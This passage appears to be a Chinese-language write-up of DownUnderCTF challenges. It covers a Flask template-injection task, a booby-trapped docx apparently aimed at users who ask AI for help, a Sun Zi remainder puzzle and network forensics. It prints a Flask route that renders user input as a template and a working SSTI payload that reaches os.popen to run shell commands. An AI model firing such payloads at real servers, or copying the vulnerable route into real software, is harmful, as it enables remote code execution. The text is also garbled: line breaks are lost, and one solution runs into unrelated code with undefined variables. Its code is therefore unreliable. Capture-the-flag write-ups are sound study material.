if request.method == 'POST': user_input = request.form.get('user_input') try: result = render_template_string(user_input) except Exception as e: result = str(e)
if __name__ == '__main__': app.run(debug=True, port=80)
解题:
python SSTI payload:
1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat ./flag').read()") }}{% endif %}{% endfor %}
DUCTF{PaRrOt_EmU_ReNdErS_AnYtHiNg}
tldr please summarise
题目:
I thought I was being 1337 by asking AI to help me solve challenges, now I have to reinstall Windows again. Can you help me out by find the flag in this document?
解题:
打开查看文档 发现异常文字
解压 docx 查看document.xml 对应位置 发现url请求
访问 url
base64 解码
DUCTF{chatgpt_I_n33d_2_3scap3}
Sun Zi’s Perfect Math Class
题目:
Everybody!! Sunzi’s math class is about to begin!!!
解题:
根据题目内容 分析发现可以使用 爆破 找到 1000 < 11000 内符合 队列的人
1 2 3
for n inrange(1000, 1100): if (n % 3 == 2) and (n % 5 == 4) and (n % 7 == 5): print(n) #1034
for i inrange(16): al.append(a1[i] + a2[i]) bl.append(b1[i] + b2[i])
c = 'owuwspdgrtejiiud' m = ['*'] * 16
for i in bl: m[al.index(i)] = c[bl.index(i)]
print(''.join(m))
#udiditgjwowsuper
DUCTF{udiditgjwowsuper}
forensics
Baby’s First Forensics
题目:
They’ve been trying to breach our infrastructure all morning! They’re trying to get more info on our covert kangaroos! We need your help, we’ve captured some traffic of them attacking us, can you tell us what tool they were using and its version?
NOTE: Wrap your answer in the DUCTF{}, e.g. DUCTF{nmap_7.25}
解题:
Wireshark 打开流量 右键追踪流 发现扫描工具
DUCTF{Nikto_2.1.6}
SAM I AM
题目:
The attacker managed to gain Domain Admin on our rebels Domain Controller! Looks like they managed to log on with an account using WMI and dumped some files.
Can you reproduce how they got the Administrator’s Password with the artifacts provided?
Place the Administrator Account’s Password in DUCTF{}, e.g. DUCTF{password123!}